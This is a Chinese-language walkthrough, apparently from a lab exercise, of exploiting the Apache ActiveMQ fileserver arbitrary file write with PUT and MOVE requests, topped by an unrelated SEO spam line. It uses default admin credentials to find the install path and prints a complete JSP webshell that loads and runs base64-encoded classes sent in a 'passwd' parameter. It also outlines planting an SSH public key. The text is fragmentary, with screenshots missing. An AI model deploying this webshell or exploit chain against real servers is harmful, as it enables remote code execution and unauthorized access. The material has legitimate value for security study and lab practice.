保定专业做网站的公司哪家好,网站开发招聘需要,怎么做网站外贸,网站无法访问在 Apache ActiveMQ 5.12.x~5.13.x 版本中#xff0c;默认关闭了 fileserver 这个应用#xff08;不过#xff0c;可以在conf/jetty.xml 中开启#xff09;#xff1b;在 5.14.0 版本后#xff0c;彻底删除了 fileserver 应用。【所以在渗透测试过程中要确定好 ActiveMQ … 在 Apache ActiveMQ 5.12.x~5.13.x 版本中默认关闭了 fileserver 这个应用不过可以在conf/jetty.xml 中开启在 5.14.0 版本后彻底删除了 fileserver 应用。【所以在渗透测试过程中要确定好 ActiveMQ 的版本免去无用功】
该漏洞出现在 fileserver 应用中漏洞原理是 fileserver 支持写入文件但不解析 jsp同时支持移动文件MOVE 请求。所以我们只需写入一个文件然后使用 MOVE 请求将其移动到任意位置造成任意文件写入漏洞。 写入文件方法
写入 webshell
写入 cron 或 ssh key 等文件
写入 jar 或 jetty.xml 等库和配置文件 启动环境 方法一写入webshell
【该方法的使用条件】
1、需要知道 ActiveMQ 的绝对路径
2、需要能登录 admin 或者 api
【分析条件】
1、ActiveMQ 的绝对路径可以通过 http://your-ip:8161/admin/test/systemProperties.jsp 页面获取不过该页面需要登录才能访问。 2、获取用户名和密码可以通过弱口令、暴力破解、社工等方法不过题目已经给出了默认用户名和密码 admin/admin这里就省去了这个步骤 绝对路径 开始抓包 直接抓jsp webshell %!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
} public byte[] base64Decode(String str) throws Exception {
try {
Class clazz Class.forName(sun.misc.BASE64Decoder);
return (byte[]) clazz.getMethod(decodeBuffer, String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz Class.forName(java.util.Base64);
Object decoder clazz.getMethod(getDecoder).invoke(null);
return (byte[]) decoder.getClass().getMethod(decode, String.class).invoke(decoder, str);
}
}
%
%
String cls request.getParameter(passwd);
if (cls ! null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
% 修改成如下 204表示成功 用 MOVE 方法将 webshell 移动到 admin 所在文件夹响应 204 表示操作成功 当然了移动到 api 下也是可以的我这边移动到 admin 目录下 蚁剑连接webshell
重点是记住 admin 应用是需要登录的所以记得一定要在连接中添加 Authorization 头 方法二ssh上传公钥
攻击机生成公钥 下载下来 也可以直接复制内容 上传 move更改